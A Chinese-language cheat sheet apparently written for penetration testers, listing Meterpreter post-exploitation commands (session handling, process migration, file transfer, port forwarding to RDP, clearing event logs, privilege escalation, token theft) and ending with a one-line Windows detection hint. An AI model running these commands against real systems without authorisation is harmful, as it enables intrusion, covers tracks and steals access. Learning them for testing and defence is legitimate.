渗透中Meterpreter基本操作和对应的windows上的排查或者现象

Meterpreter的简单介绍

---

---

Meterpreter 是MSF自带一个强大的SHELL，可以执行很多功能。

Meterpreter SHELL

---

---

基本操作

---

meterpreter>background #session隐藏到后台
meterpreter>bgkill #杀掉后台的一个meterpreter
meterpreter>bglist #列出后台的meterpreter
meterpreter>bgrun #运行后台的一个meterpreter
msf> sessions -l #查看回话session的list
msf> sessions 4 #切回四号回话，用于和background反操作

查看系统信息

---

meterpreter>sysinfo #获取系统信息

meterpreter>getuid #获取当前注入的用户名称

转移注入进程

---

meterpreter>ps #查看进程list
meterpreter>migrate pid #转移注入点的继承

转移注入进程后，源进程被杀掉，并不影响meterpreter的会话

文件和路径类的操作

---

meterpreter>ls
meterpreter>pwd
meterpreter>mkdir
meterpreter>mv
meterpreter>rm
meterpreter>rmdir
#以上常见操作不在赘述
meterpreter>show_mount #展示磁盘情况
meterpreter>search -d c:\\ -f *.doc  # -d 路径 -f 文件名模式  搜索文件 例如搜索日志文件 *.evtx
meterpreter>upload /localpath/localfile c:\\remote\\remotepath #上传文件
meterpreter>download c:\\xxx\xxx.xxx /root/... #下载文件
meterpreter>edit xxx  #编辑文件，VIM的

网络配置及其命令

---

meterpreter>arp #展示arp
meterpreter>getproxy #获取代理信息
meterpreter>ifconfig(ipconfig) #查看网卡信息
meterpreter>route #打印路由
meterpreter>netstat #查看网络连接情况
meterpreter>resolve #dns解析
meterpreter>portfwd #端口转发portfwd  add -l  1122 -p 3389 -r  192.168.250.176

系统操作及其命令

---

meterpreter>shell #获取cmdshell
meterpreter>clearev #清除event log
meterpreter>execute #执行command
meterpreter>getpid（getuid、getdsid）
meterpreter>getpriv #提权
meterpreter>shutdown #关机
meterpreter>reboot #重启
meterpreter>steal_token #窃取token
meterpreter>sysinfo #系统信息
meterpreter>localtime #获取系统时间

用户接口指令操作

---

Windows排查

---

---

进程

---

任务管理器看不到，但是tasklist和netstat 可以看到